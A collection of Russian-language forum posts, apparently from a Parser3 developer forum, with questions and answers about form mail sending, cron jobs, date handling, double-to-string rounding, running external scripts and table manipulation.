Писать на почту: menandr @ list.ru"
"75972","Есть форма отправки сообщения с сайта. Цитирую внутренний auto.p раздела:\
\
[code]@rasskaz[]\
^sections.menu{^if($sections.uri eq $request:uri){$textpath[$sections.textfile]}{}}\
$getit[^file::load[text;$textpath]]\
^untaint{$getit.text}\
<form method=\"get\"><p><textarea name=\"say\" wrap=\"hard\"></textarea></p>\
<p><input type=\"submit\" name=\"ok\" value=\"Полетели\"></input></p>\
\
^if(def $form:say && def $form:ok){\
^mail:send[ \
      $.from[Сайт <mail@blabla.ru>] \
      $.to[Петя <me@blabla.ru>] \
      $.subject[Сообщение с сайта] \
      $.text[$form:say] \
] \
ура\
}{}\
</form>\
[/code]\
\
[b]После нажатия \"ок\" имеем в браузере: [/b]\
B:/home/blabla.ru/www/connect/\
read failed: Permission denied (13), actual filename 'B:/home/blabla.ru/www/connect/'\
B:/home/blabla.ru/www/connect/auto.p(3:15)\
load	B:/home/blabla.ru/www/connect/auto.p(3:15)\
menu	B:/home/blabla.ru/www/connect/auto.p(2:11)\
rasskaz	B:/home/blabla.ru/www/auto.p(94:24)\
if	B:/home/blabla.ru/www/auto.p(91:2)\
content	B:/home/blabla.ru/www/auto.p(55:20)\
within	B:/home/blabla.ru/www/connect/index.html(3:2)\
\
* * *\
\
[b]В логе:[/b]\
[Fri Nov 11 05:44:47 2011] [5644] /connect/?say=%E9%E0: B:/home/blabla.ru/www/connect/auto.p(3:15): 'B:/home/this-one.ru/www/connect/' read failed: Permission denied (13), actual filename 'B:/home/blabla.ru/www/connect/' [file.access] [uri=/connect/?isay=%E9%E0, method=GET, cl=0]\
\
О чём кино?!\
Подвопрос: куда прописывать sendmail-то?\
\
Лог показывает на те места кода, которые вообще ни при чём: без формы - точнее, без сабмита - всё прекрасно."
"75973","Возможно <form method=\"[b]post[/b]\"> поможет :)"
"75977","Вот, сайт доделываю: this(дефис)one точкару.\
\
В углу должно быть у всех московское время - а из-за Урала сообщают, что отображается местное :-(.\
\
Куда копать?!\
Хостинг московский, казалось бы...\
\
* * * * * * * * * *\
\
Код, если надо, сейчас такой простой:\
\
$time[^date::now[]]\
^if($uri eq '/'){В Москве ^if($time.hour < 10){0$time.hour}{$time.hour}:^if($time.minute < 10){0$time.minute}{$time.minute}, <nobr>^timecomment[]</nobr>}{В Москве ^if($time.hour < 10){0$time.hour}{$time.hour}:^if($time.minute < 10){0$time.minute}{$time.minute}}"
"75978","http://git.codingbox.org/idea-parser3/\
\"Adapted idea-parser3 for IDEA 11\" - 4 weeks\
За бинарниками - к автору."
"75979","Спасибо.\
Я же по простому — искал в дефолтном репозитарии плагинов. \
Ничего, подожду пока он там не появится."
"75982","Сервер (а значит и парсер) понятия не имеет, в какой временной зоне находится посетитель, и какое там местное время. Ищите проблему в чем-нибудь другом. Например кешировании у вашего провайдера или в браузере клиента. Поэтому обычно всему такому контенту приделывают ?random или выдают заголовки против кеширования."
"75983","$response:location[^taint[as-is][http://домен.рф]]"
"75985","Здравствуйте уважаемые гуру и монстры парсера. Есть у меня некоторое количество регулярно выполняющихся задач таких как пересчет цен, синхронизация баз и т.д. и т.п. Но так как кроме парсера, html и MySQL я ровным счетом ничего больше не знаю эти задачи мне приходиться выполнять вручную путем тыканья соответствующей ссылки в административном разделе. Можно ли как-то вызывать те же скрипты с какой-то периодичностью через крон, а результат выполнения или отправлять в почту или не выводить вообще никуда? Заранее спасибо за ответ."
"75986","Например как-то так:\
\
crontab -e\
\
MAILTO=<your@email>\
\
#В 0:30 каждый день:\
\
30 0 * * * cd /site/www ; ../cgi/parser3.cgi admin/every1day.html >> admin/every1day.log\
\
Переход в www (DocumentRoot сайта) делается, чтобы в парсере корректно работала работа с файлами, путь к которым указан от '/'.\
Усли убрать запись в лог, весь вывод пойдет на указанную почту."
"75989","данное дерево щас уже использую для адресной системы. уже не для меню разделов сайта..\
а для структуры адреса. типа кладр.\
\
добавил поле r_level\
в итоге имеем\
[code]Id	par_id	r_level	name\
1	0	10	Россия\
2	1	20	Тюменская область\
3	2	30	г.Тюмень\
4	3	40	Центр\
5	4	50	ул.Республики\
6	5	60	д.40\
7	6	70	кв.1\
8	4	50	ул.Ленина\
9	8	60	д.10\
10	4	50	ул.Герцена\
11	10	60	д.65\
12	11	70	кв.3\
[/code]\
\
и такая структура\
[code]где r_level\
10 Страна\
20 Область\
30 город\
40 район\
50 улица\
60 дом\
70 кв.\
[/code]\
сейчас стоит задача.\
\
в базе будет более 1000 объектов. все в идной структуре как показано выше..\
\
нужно вытащить не все а лишь до определенного уровня например показать до уровня r_level 50\
\
т.е. в базе есть (по примеру)\
адреса\
[code]r_level\
10	20	30	40	50	60	70\
Россия\\Тюменская область\\г.Тюмень\\Центр\\ул.Республики\\д.40\\кв.1\
Россия\\Тюменская область\\г.Тюмень\\Центр\\ул.Ленина\\д.10\
Россия\\Тюменская область\\г.Тюмень\\Центр\\ул.Герцена\\д.65\\кв.3\
\
почти три полный адреса\
как вывести их лишь до уровня r_level 50 (до улицы)\
все остальное не нужно.\
\
10	20	30	40	50\
должно быть так\
Россия\\Тюменская область\\г.Тюмень\\Центр\\ул.Республики\
Россия\\Тюменская область\\г.Тюмень\\Центр\\ул.Ленина\
Россия\\Тюменская область\\г.Тюмень\\Центр\\ул.Герцена[/code]"
"75990","Что мешает ввести ограничение на уровень при выборке?"
"75991","пробовал. проблема в том что он с конца ищет.. \
начиная с максимального левела. которые мне нужно пропустить и оставить минимальные начиная с 50 до 10"
"75992","Поставьте условие при добавлении в таблицу crumbs и исключайте то, что не нужно.\
\
Но вообще схема хранения данных очень странная, если даже для такой тривиальщины нужны долгие пляски."
"75993","Почему сдвиг даты работает таким образом:\
[code]$today[^date::now[]]\
^today.roll[month](-1)\
$today.month[/code]\
,когда было бы проще и понятнее (на мой взгляд) заносить сдвинутую дату в отдельную переменную:\
[code]$today[^date::now[]]\
$minus_one_month[^today.roll[month](-1)]\
$minus_one_month[/code]\
\
Вдруг мне захочется после сдвига использовать дату $today до сдвига, тогда придётся сдвигать обратно?"
"75995","с .roll[] будьте внимательны, можете попасть в несуществующую дату/время (с исключением)."
"75997","30 - не точное число дней же. Поэтому с роллом было бы правильнее. Он же с правильным кол-вом дней оперирует, когда отнимаешь месяц, надо полагать.\
\
Просто как-то показалось нестандартно, когда подобный метод не ставится в переменную.\
\
Тем более не ясно, когда заканчивается действие roll'а:\
[code]$today[^date::now[]]\
^today.roll[month](-1)\
$today.month # это уже -1 месяц от текущего месяца\
... # дальше может быть много кода\
$today.month # а теперь это всё ещё текущий месяц минус 1 месяц?[/code]"
"75999","то, что -30 не равно -1 month -- это понятно.\
вы не сказали, какая у вас задача, поэтому я упомянул близкие по смыслу функции.\
\
в реалиях, лично я ни разу не использовал ^roll[month](-1) :)\
и мне было-бы интересно услышать реальную задачу, для которой он нужен (задача показать записи пользователя, случившиеся ровно за последний месяц с учётом количества дней в этом месяце -- по моему бессмысленная, хотя я не делал billing, может там она может пригодиться).\
\
действие roll-а не прекращается. roll изменяет переданную ему дату.\
если надо иное поведение -- напишите свой оператор roll, который будет копировать дату (Sumo дал ссылку на метод), \"сдвигать\" копию и возвращать её, а исходную дату трогать не будет."
"76000","Задача в том, чтобы сделать доску позора на внутреннем сайте предприятия. Есть категории нарушений, каждая из которых составляет от 0 до 3 баллов. Если провинившийся получает больше или равно 5 баллов, то его имя будет висеть на доске месяц. Но не всё так просто. Если он за пару дней прошлого месяца заработал 3 балла, а за пару дней до конца месяца ещё 2 балла, то на доске он должен провисеть всего пару дней, например. Вот и приходится высчитывать месяц от начала каждого нарушения. с этими датами легко запутаться, даже если делать комментарии."
"76001","вторую часть (про 3 балла + 2 балла) я не понял, но в любом случае я-бы делал это средствами БД и не использовал roll."
"76002","Есть промежуток один месяц, если человек за это месяц набрал 5 балов и более он попадает на доску позора.\
В принципе тут ИМХО все идеально ложится в sql, сделать запрос, сгруппировать по человеку и сложить сумму штрафов и отобрать только тех кто превысил. При чем диапазон дат, также задавать через тот же sql.\
Конечно я может не правильно понял с датой, но все равно все проще делать на стороне БД и оперировать готовым списком."
"76003","я-бы группировки делать не стал.\
\
я-бы сделал так:\
в тот момент, когда человеку начисляется новый штраф, c помощью одного простого SQL запроса (с SUM) считается количество его штрафных баллов за последний месяц (используем DATE_SUB). если количество балов больше порогового значения (5), то пользователю в поле \"на доске позора\" (тип date) прописывается дата, до которой он будет там отображаться (NOW + DATE_ADD).\
\
соотв. запрос по доставанию и выводу всех заклеймлённых тоже очень простой: сравнение содержимого этого поля с NOW().\
\
правда тут надо будет что-то сделать с тем, что человек может получить доп. штрафы в момент пребывания на доске позора (можно сразу накидывать ему срок).\
\
в любом случае, этот пример, с моей точки зрения, ну совершенно не нуждается в парсерном roll.\
\
P.S. и ведь все пишут roll в try, т.к. его выполнение может приводить к исключению? (ну ладно, могло приводить, щас отменили летнее время, т.е. с этим теперь проще)"
"76004","Например:\
30	0	*	*	* 	curl 'http://yoursite.com/admin/every1day.html' > /dev/null 2>&1;\
\
Сохранение в лог или отправку результатов по почте можно делать и в самом скрипте.\
Как MoKo предложил очень удобно для запуска скриптов не из паблик директорий."
"76005","вижу кучу минусов:\
- скрипт может выполняться долго (т.е. надо озаботиться заданием timeout/retry у curl)\
- надо в обязательном порядке в скрипт добавлять код, не позволяющий одновременную запись\
- без дела дёргается веб сервер\
- это будет в логах веб сервера и возможно попадёт в его статистику. если статистику вдруг кто-то \"откроет\", то по этим URL-ам придёт google & Co. оно вам надо?\
\
при этом не вижу ни одного плюса перед предложенным Костей вариантом."
"76006","Так ping.exe будет запускаться столько раз, сколько серверов в таблице и будет делать это поочередно:\
[code]^tServer.menu{\
   $ping[^file::exec[c:\\windows\\system32\\ping.exe;$.charset[dos];$tServer.name]]\
}[/code]\
А надо бы, чтобы долго не ждать, чтобы пинги всех серверов выполнились одновременно. Можно конечно помудрить, создать батник и вызывать потом его. Но может как-то средствами парсера можно обойтись?"
"76007","P.S. А я вот ^try никогда не использовал."
"76008","Но вам лучше запускать внешний скрипт парсера, который будет уже пинговать, а потом заносить результаты в БД или файл. В общем так сказать вы записываете задачи в базу, запускаете N количество процессов, которые берут задания из базы(помечая их на исполнение), а потом записывают ответы в другую базу, при этом помечая задания выполненными."
"76010","Имеем таблица с конфигом\
[code]\
type	name	title_1	value_1	format	alternativeText\
checkbox	contactsVisible	Видимость контактов			\
textarea	contacts	Контакты		text\
groupCheckbox	services	Сервисы	{тут json}	json	\
[/code]\
[url=\"http://pastebin.com/Pd9eYe0Y\"]полная версия таблицы[/url]\
\
Имеем код\
[code]@main[]\
^use[debug.p]\
$tAdditionalFields[^table::load[inputs.cfg]]\
^debug:print[$tAdditionalFields]\
^tAdditionalFields.menu{\
    ^switch[$tAdditionalFields.type]{\
        ^case[groupCheckbox]{\
            ^if($tAdditionalFields.format eq json){\
                ^debug:print[\
                    ^json:parse[\
                        $tAdditionalFields.value_1\
                        ;$.double(false)\
                        $.distinct[all]\
                    ]\
                ]\
            }\
        }\
    }\
}\
[/code]\
Получаем вот такую ошибку\
index.html(10:27): 'parse' expected key at byte 5 [json.parse] [uri=/, method=GET, cl=0]\
\
при этом если скопировать текст json и сделать просто переменную в коде\
$str[{код}], то его разбирает нормально\
\
PS Parser/3.4.1 (compiled on i686-pc-linux-gnu) c сайта."
"76013","http://clip2net.com/s/1lKPI - скриншот ошибки\
\
Код в котором возникает ошибка(2ая строка)\
[code]@_checkApp[name][avail]\
$avail[$self.config.$name]\
^if(!def $avail ||\
 def $avail && $avail == 1){\
 $result(true)\
}{\
 $result(false)\
}[/code]"
"76015","Вот ещё кусок, который возможно поможет:\
[code]@init[config]\
$self.config[$config][/code]\
Я только начал изучать parser и пока не особо понимаю, что написано в коде.\
Могу код всего файла скинуть, если надо."
"76016","Здесь всё выглядит нормально, но в переменной $config лежит строка, а не хеш или таблица, при которых бы сработало $avail[$self.config.$name]\
Лучше бы хеш, конечно)\
\
Где вызывается метод init и что в него передаётся?"
"76017","как я понимаю вот вызов\
[code]$oApps[^android::init[]][/code]\
Если я правильно понял, то входных параметров нет, поэтому и выскакивает ошибка? Самое интересное, что сайт, который я разбираю на локалхосте успешно работает на хостинге сейчас точно с таким же кодом и не генерирует ошибок."
"76018","Тогда ответ прост -- там более новая версия парсера.\
Получается пустая_строка.yandex-search\
В последней версии парсера это не вызывает ошибку, раньше вызывало.\
Если я правильно, помню, конечно)"
"76029","Как-то так\
$avail[$self.config.[$name]]\
B и скорее всего правильно будет написать так\
^if(def $avail[$self.config.[$name]]...)\
\
Да и вообще условие какое-то не правильное\
^if(!def $avail || def $avail && $avail == 1)\
Если(неопределенно $avail ИЛИ Определено И Равно 1).\
Как-то не логично все написано, сложно понять, что хотел автор."
"76030","скобки вообще не обязательны. они, как и скобки в выражениях, могут требоваться, чтобы изменить \"порядок обработки по умолчанию\". но в данном случае никаких разночтений быть не может. а в следующем случае они [B]могли-бы[/B] потребоваться:\
[code]\
$var.[$field].name\
[/code]\
т.к. данный код вообще без скобок означает:\
[code]\
$var.[$field.name]\
[/code]\
\
\
условие абсолютно нормальное: значение не определено или равно 1. что не так?\
да, я-бы выкинул def $avai за ненадобностью."
"76031","Может я и не прав+)"
"76032","Проблема решилась обновлением parser'a с 3.4.0 (идёт в комплекте с дэнвером) до 3.4.1."
"76033","На Mac, 64 битный parser вижу следующие проблемы:\
\
1. Код\
$double[12300.24]\
$result[$double]\
\
Возвращает 12300.24\
\
2. Код\
\
$double(12300.24)\
$result[$double]\
\
Возвращает 12300.2\
\
3. Код\
\
$double(12300.24)\
$result[^double.format[%f]]\
\
Возвращает 12300.240000\
\
4. Код\
\
$double[12300.66]\
$double[^double.double[]]\
$result[$double]\
\
Возвращает 12300.7\
\
5. Код\
\
$double[12300.66]\
$double[^double.double[]]\
$result[^double.format[%f]]\
\
Возвращает 12300.700000\
\
[b]Итого мы получаем, что при преобразовании числа в double (см. 4 и 5) мы теряем правильное значение.[/b] Это ошибка или так задумывалось?"
"76034","Если число не очень большое, например, 5000 - порядок не теряется.\
А если уже 15000, то есть потеря."
"76035","Так надо во всех местах, где переменной присваивается преобразованное число, писать круглые скобки:\
[code]$double[12300.66]\
$double(^double.double[])\
$result[^double.format[%f]][/code]\
Вернёт 12300.66"
"76036","Использовать круглые скобки абсолютно везде не всегда возможно.\
\
На мой взгляд это не совсем логично поведение преобразования. Т.е. я сначала принудительно преобразую переменную в double, а потом она преобразуется в строку с округлением. Почему парсер решает что мне нужно ее округлить?"
"76037","[quote]Почему парсер решает что мне нужно ее округлить?[/quote]\
\
Видимо потому что не задан формат при преобразовании к строке."
"76039","Так не задан - значит не менять, а не преобразовать к странному формату.\
\
Странный формат - если 5000.66, то получу при преобразовании к строке 5000.66, а если 15000.66, то получу 15000.7\
\
Каким образом парсер так решает?\
\
Решение с ^var.format[...] понятно, но в моем случае не применимо."
"76040","У меня есть некий класс DBField, который хранит тип переменной и у него есть метод\
^field.init[$value], который возвращает значение. Т.к. он универсален и используется как \
\
[code]^fields.foreach[alias;field]{\
	$attributes.[$alias][^field.init[$value]]\
}[/code]\
\
То при работе с double я получаю искажения данных."
"76041","Если не задавать предобразование, то парсер неявно использует %g, что и приводит к кажущимся проблемам. Если хотите предсказуемого результата, то используйте круглые скобки. [Ну и почитать про то как работают числа с плавающей точкой не помешает — я вам раньше давал ссылку на википедию.]"
"76042","... а внутри метода используйте правильные скобки в зависимости от типа."
"76044","Если я правильно понимаю, то в $attributes.[$alias] идут квадратные скобки и оно при присвоении преобразуется в строку?"
"76046","В примере Sumo там будет объект field.\
Как объект реализует хранение значений внутри себя — его личное дело.\
И вы на это можете влиять напрямую, написав нужную логику хранения."
"76047","DBField хранит только мета информацию о свойстве.\
^field.init[$value] - возвращает значение свойства (в типах парсера) полученное из $value. И тип он хранит в объекте DBField, поэтому проблемы с преобразованием не возникает. А вот с дальнейшим присвоением уже и возникает потеря значений.\
\
Из-за логики преобразований парсером из double в строку пришлось преобразовывать в double, форматировать в строку и возвращать строку.\
\
Как понимаю, другого решения не возможно на текущий момент."
"76048","[code]^switch[$type]{\
	^case[double;int]{\
		$self.value($value)\
	}\
	^case[DEFAULT]{\
		$self.value[$value]\
	}\
}[/code]"
"76049","double -- это штука чуть более хитрая, чем вы её себе представляете, судя по этому:\
[quote]\
Странный формат - если 5000.66, то получу при преобразовании к строке 5000.66, а если 15000.66, то получу 15000.7\
\
Каким образом парсер так решает?\
[/quote]\
\
задание double в виде $var(1.23) -- это лишь частный случай. есть ещё такой способ задания: $var(1/3)\
а посре прочтения сообщения PAF-а вы, я надеюсь, поймёте, что после выполнения $f(123.86-123) при выводе полученного double без округления будет выведено совсем не \"0.86\"\
\
т.е. выводить double-ы без округления нельзя.\
\
а до кучи и [URL=/faq/kb/]другие \"полезности\"[/URL]"
"76050","Проблема возникает не в том, что я забываю привести double к нужному формату, а в:\
\
1. Изначально я знаю тип переменной\
2. По ходу кода у меня есть $value и я уже не знаю (и с первого взгляда мне это не важно) тип переменной.\
3. Но т.к. я делаю присвоение переменной через [] всегда, то получается что я теряю значение.\
\
[b]Т.е. получается, что если у меня есть $value и я не знаю что это и какие скобки ставить, то при вызове какого-нибудь метода или присвоения другой переменной я теряю ее тип.[/b]\
\
[code]^switch[$type]{\
^case[double]{\
	$value(^sData.double[])\
}\
^case[int]{\
	$value(^Data.int[])\
}\
^case[DEFAULT]{\
	$value[$sData]\
}\
}\
\
$new_value[$value]\
^new_method[$value][/code]\
\
Последние 2 строки кода теряют значение в double. Добавлять при присвоении switch по типу выглядит не разумно.\
\
[b]Получается выхода два:[/b]\
1. При работе с double в моем коде всегда делать $value[^sData.format[%f]] или с большим количеством знаков\
Но при таком подходе при вызове без формата у меня всегда будет куча нулей.\
\
2. Как и в 1 случае, но избавляться от лишних 0\
[code]$value(^sData.double[])\
$value[^value.format[%f]]\
$value[^value.match[\\.?0+^$][]{}][/code]\
\
[b]На мой взгляд было бы логично такое поведение:[/b]\
[code]$double(^sData.double[])\
\
^method[$double]\
\
@method[uData][/code]\
\
В метод придет double, а не stringт как сейчас.\
\
Возможно ли это при учете передачи копии значения, а не ссылки. Или в чем я не прав со своей идеей?"
"76051","вообще-то изначально вы написали:\
[quote]\
Итого мы получаем, что при преобразовании числа в double (см. 4 и 5) мы теряем правильное значение. Это ошибка или так задумывалось?\
[/quote]\
\
соотв. вам объяснили, почему при печати чисел происходит округление.\
\
сейчас вы говорите про другой момент, который к сожалению присутствует.\
увы, при передачи чисел в квадратных скобках происходит их \"печать\" с соотв. последствиями.\
сделать иначе не получится, т.к. простой вывод в output -- это тоже печать, и тут число должно преобразовываться в строку.\
\
думаю, вы можете \"родить\" свой класс Double, который решит всё проблемы. единственное -- красивого конструктора не получится."
"76052","Проблема понятна, как работать разобрался.\
\
P.S. Я сначала так написал, т.к. не понял в какой момент теряется значение."
"76053","Неясно как вы пишите некую схему хранения данных и тут же не знаете, что там double.\
\
Храните, передавайте и присваиваете всегда в круглых скобках.\
При преобразовании в число — задавайте формат.\
\
Да, это необходимость озаботиться этими случаями, но не невозможно."
"76054","Тип я знаю всегда, но я стараюсь при получении данных из \"вне\" (форма, БД) преобразовать его к типу Парсера. И т.к. при возврат значения происходит в методе объекта, который знает тип, а сохранение в массив происходит в классе, которые не знает типа, то и возникла вышеописанная проблема."
"76055","Вот код:\
[code]@main[]\
$model[^DBModel::init[\
	$.price[5000000.99]\
	$.amount[15.887]\
]]\
\
$model.price.value<br/>\
$model.amount.value\
\
<hr/>\
\
$model.price.value[1233333333.998]\
$model.amount.value[12.001]\
$model.price.value<br/>\
$model.amount.value\
\
\
@CLASS\
DBDecimal\
\
@init[value]\
$self._value(^value.double(0))\
\
@GET_value[]\
$result[^self._value.format[%.3f]]\
\
@SET_value[value]\
$self._value(^value.double[])\
\
\
@CLASS\
DBModel\
\
@init[data]\
$self.price[^DBDecimal::init[$data.price]]\
$self.amount[^DBDecimal::init[$data.amount]][/code]\
\
Никто кроме самого объекта поля о типе не задумывается.\
Как здесь проявить вашу проблему?"
"76056","Модель умеет только преобразовывать из одного типа в другой, сравнивать и т.д. Значение хранится в хеше."
"76057","/cgi-bin/img/imageMagick.pl:\
[code]#!/usr/bin/perl\
print \"Content-Type: text/html\\n\\n\";\
print \"Image flip\\n\\n\";\
system \"/usr/bin/convert /ХХХХ/data/images/nofoto.png -flip /ХХХХ/data/images/thumbnails/nofoto.png\";[/code]\
\
При запуске скрипта из shell, всё работает на ура:\
perl /ХХХХ/cgi-bin/img/imageMagick.pl\
\
Если из Parser-а  делать, то ничего не получается:\
[code]$f[^file::exec[/cgi-bin/img/imageMagick.pl]]\
<pre>$f.text</pre>[/code]\
\
Что делаю не так?"
"76058","И cgi-bin точно лежит внутри веб пространства?\
\
p.s. Еще понять бы, что вы хотите увидеть в f.text, и какие права стоят на скрипт [вы в шелле запускаете скрипт через perl script_name.pl, а из парсера просто script_name.pl — это разные вещи]."
"76059","Права 755\
---\
В $f.text полагаю увидеть:\
Content-Type: text/html\
Image flip\
---\
И картинку отраженную вертикально по адресу /data/images/thumbnails/nofoto.png\
---\
$.status[254]\
$.stderr[]"
"76061","ну и собственно проверьте права на файл + попробуйте из shell запустить напрямую:\
[code]\
cd /ХХХХ/cgi-bin/img\
./imageMagick.pl\
[/code]"
"76062","Если я правильно понимаю как работает $response:download -- то среди прочего он прописывает в заголовок ответа:\
\
Content-Disposition: attachment; filename=....\
\
Так вот, полное ощущение что имя файла в filename= указывается без кавычек вокруг имени файла. Из-за чего -- при наличии пробела в имени файла как минимум FireFox (v 3.6.13) теряет кусок имени. Всё это происходит в utf-8\
\
Вероятно это уже исправлено -- у меня старый Парсер 3.2.2b (win32) -- но сейчас оперативно перенести код на новую версию Парсера и проверить увы не могу.\
\
А еще -- IE8 -- показывает вместо русских букв utf-последовательность (как будто в 1251 смотрю utf). Все остальные -- хром, FF, safary -- показывают всё по-русски."
"76064","но пока увы, только в HEAD.\
\
текущий workaround: ручками выдать нужный заголовок после $response:download."
"76065","спасибо. Я почти догадался про самостоятельную установку, но почему то поставил ее не после а до.\
\
А что с русскими буквами в имени файла в ИЕ ? Это лечится?"
"76067","Права нормально, через shell запускал, получал такую ошибку:\
[code]-bash: /XXXX/cgi-bin/img/imageMagick.pl: /usr/bin/perl^M: bad interpreter: No such file or directory[/code]\
\
Нашел решение. В первой строчке imageMagick.pl прописал в конце  -w\
Всё заработало. Итог такой:\
/cgi-bin/img/imageMagick.pl:\
[code]#!/usr/bin/perl -w\
print \"Content-Type: text/html\\n\\n\";\
print \"Image flip\\n\\n\";\
system \"/usr/bin/convert /XXXX/data/images/nofoto.png -flip /XXXX/data/images/thumbnails/nofoto.png\";[/code]\
\
parser:\
[code]$f[^file::exec[/cgi-bin/img/imageMagick.pl;]]\
<pre>$f.text</pre>[/code]\
\
Всем спасибо!"
"76068","[quote]\
А что с русскими буквами в имени файла в ИЕ ? Это лечится?\
[/quote]\
\
не помню (но кажется поправили) :)\
попробуйте поискать в форуме.\
или попробуйте взять готовую версию и протестировать её с IE, подключив к отдельной директории."
"76069","Судя по ^M - у вас скорее всего Windows переносы в скрипте, а должны быть Unix.\
\"-w\" эту проблему спрятало, поскольку теперь этот ^M цепляется к параметру."
"76071","Есть класс, который мне очень нравится http://www.parser.ru/examples/antispam/\
\
Есть задача, переход в контакты, из определенной страницы. При этом надо передать определенные параметры в форму, чтобы потом их отправить на емейл менеджеру сайта.\
Передавать через GET особого желания нет.\
\
Если перейти в контакты через форму, то срабатывает антиспам - exec [fail: Antispam|empty-uid|Empty UID.]\
Оно то и понятно, откуда ему появится.\
\
Можно ли, как-то не выполнять exec, а только print формы, при наличии какого-то условия?"
"76072","Надо просто не инициализировать .exec\
[code]^if(!def $form:target){\
	^oAntiSpam.exec{...}\
}[/code]\
Вот всегда, напишешь на форуме, а через минут 10 сам додумаешь. А до этого пару часов сидишь и понять не можешь."
"76073","скоро выложу обновлённую версию (с перламутровыми пуговицами), в которой вообще не смотрится METHOD, а exec понимается только по наличию $form:uid.\
\
заодно там различается протухший uid и вообще левый (очень протухший) uid, т.е. можно гарантированно отличить повторный post."
"76074","Можно на parser-е сделать грид, подобный [url=\"http://dev.sencha.com/deploy/ext-4.0.0/examples/grid/cell-editing.html\"]grid[/url]  ?"
"76075","Поскольку парсер серверный язык, он отвечает только для загрузку/сохранение данных.\
Реализовать интерфейс, указанный в этом JS понятно можно, надо только найти его описание. :)\
\
 [code]   // create the Data Store\
    var store = Ext.create('Ext.data.Store', {\
        // destroy the store if the grid is destroyed\
        autoDestroy: true,\
        model: 'Plant',\
        proxy: {\
            type: 'ajax',\
            // load remote data using HTTP\
            url: 'plants.xml',\
            // specify a XmlReader (coincides with the XML format of the returned data)\
            reader: {\
                type: 'xml',\
                // records will have a 'plant' tag\
                record: 'plant'\
            }\
        },\
        sorters: [{\
            property: 'common',\
            direction:'ASC'\
        }]\
    });\
\
[/code]"
"76076","RegExp поиск - это ясно. Но не могу найти в доке, есть ли замена? Как в parser или perl???\
\
Такое ощущение, что такой функции нет, но всё-таки хочется знать наверняка."
"76077","Неясно, что мешает вбить вопрос в Google и сходить по [url=\"http://stackoverflow.com/questions/986826/how-to-do-a-regular-expression-replace-in-mysql\"]первой ссылке[/url]."
"76078","Из заголовка все понятно. Контакты, краткие резюме, ссылки на портфоли, расценки и т.п. сбрасывайте на мыло. Всем заранее спасибо."
"76080","На проект solomko.ru нужен программист для решения ряда задач. Сайт написан на парсере. Физически находимся в СПБ. Если кто располагает временем и желанием подработать пишите borisovs.spb@mail.ru"
"76082","Кто знает где найти .cfg для восточных и других языков? Есть где-нибудь большая сборка файлов кодировок?"
"76083","Доброго времени суток.\
\
При создании самого простого примера:\
\
[code]$catalog{^table::create{path\
/Class/Lib\
/Class\
/Class/Sql\
}}\
\
<table border=1>\
^catalog.menu{\
   <tr>\
      <td>$catalog.path</td>\
   </tr> \
  \
}\
</table>\
[/code]\
\
У меня появляется странный результат:\
/Class/Lib\
/Class/Lib\
/Class/Lib\
\
Тоесть количество строк в таблице выводится правильно, но при этом все заполяется результатом первой строки. Я уже пересобрал парсер и 3.4.1 и хед версии, и везде одно и тоже. Подскажите куда копать.\
\
Платформа Centos 6 64bit"
"76085","Всем доброе утро\
переношу сайт с одного хостинга на другой\
сайт выдает ошибку \
\
[code]parser is in safe mode: reading files of foreign group and user disabled [recompile parser with disable safe mode configure option], actual filename , fuid(1010)!=euid(80) or fgid(1010)!=egid(80) [parser.runtime][/code]\
\
версия ОС FreeBSD 8.1\
парсер работает, апачу обработка разрешена\
\
Помогите найти хотя бы инфу как пересобрать парсер с ключом --disable-safe-mode\
или может есть у кого, заранее спасибо"
"76086","слева есть строка поиска по форуму.\
впишите в неё \"parser is in safe mode\" (с кавычками) и нажмите кнопку \"Найти\""
"76087","Спасибо! это помогло."
"76088","Например вот таблица:\
[code]first	57\
second	43\
third	44[/code]\
а надо бы:\
[code]1	57\
2	43\
3	44[/code]\
\
строк там может быть 300"
"76090","Не могу точно сформулировать вопрос, поэтому объясню на пальцах:\
\
[code]$f[^file::load[text;http://www.artlebedev.ru/news/2009/]]\
$f.text[/code]\
выдает код страницы.\
\
[code]$f[^file::load[text;http://www.artlebedev.ru/news/2010/]]\
$f.text[/code]\
выдает два символа [i](сюда вставляется не так)[/i]\
\
Если страницу с новостями 2010 года загрузить в бинарном формате, сохранить ее в file.zip, то внутри архива получится файл с кодом страницы.\
Т.е. сервер выдает ее в сжатом виде?\
Можно это как-то обойти и явно указать серверу, что сжатие не нужно?\
Побывал разные user-agent'ы -- ничего не меняется.\
\
Parser 3.4.1 (compiled on i386-pc-win32)"
"76092","curl на win почему-то так и не хочет у меня работать, пробовал все возможные libcurl.dll\
\
Accept-Encoding тоже пробовал.\
[code]$.headers[\
	$.Accept-Encoding[identity]\
][/code]\
результат - тот же.\
\
\
Ладно, пойдем каким-то другим путем :)"
"76093","Думал всё просто решится, но у меня такой код:\
\
[code]$tLog[^table::load[nameless;$sFName]]\
$tCoords[^table::create{x	y\
^tLog.menu{[b]^tLog.line[][/b]	^eval(100-$tLog.1)\
}}]\
\
$tCoords_s[^tCoords.select($tCoords.x>0)[$.reverse(1) $.limit(300)]]\
\
. . .\
\
^oGraph_$sFName.polyline(0xff0000)[$tCoords_s][/code]\
\
Т.е. есть файловая таблица, где может быть до 86400 строк. Мне нужны последние 300 строк. Переворачиваю таблицу, обрезаю до 300. Но нумерация строк остаётся прежняя (к примеру от 86100 до 86400 может случиться). В итоге на основе этого должен рисоваться график, шириной в эти 300 пикселей."
"76094","И если есть 300 значений и ширина графика 300 пикселей, то тут надо точки ставить, а не ломанную рисовать."
"76096","В итоге пришлось сделать очередное копирование таблицы и тогда я получил нужную таблицу, где X от 1 до 300 и соответствующие значения Y.\
[code]$tCoords[^table::create{x	y\
^tLog.menu{$tLog.0	$tLog.1\
}}]\
$tCoords_s[^tCoords.select($tCoords.x>0)[$.reverse(1) $.limit(300)]]\
[b]$tCoords2[^table::create{x	y\
^tCoords_s.menu{^tCoords_s.line[]	^eval(100-$tCoords_s.y)\
}}][/b][/code]"
"76097","Ну вроде разобрался. Какие вопросы я мог задать в альтернативном будущем? :)"
"76098","- \"почему у меня на хостинге возникает 500 ошибка?\"\
- \"почему парсер потребляет там много памяти и как уменьшить её потребление?\"\
\
P.S. вам уже недавно [URL=http://www.parser.ru/forum/?id=76003]рекомендовали[/URL] почитать про SQL"
"76101","[code]\
  $log[^table::create[nameless]{^for[i](1;1000){$i}[^#0A]}]\
\
  $log[^log.select(^log.line[] > $log - 300)[$.reverse(1)]]..\
  $coord[^table::create[nameless]{^log.menu{^log.line[]^#09^eval(100-$log.0)}[^#0A]}]\
\
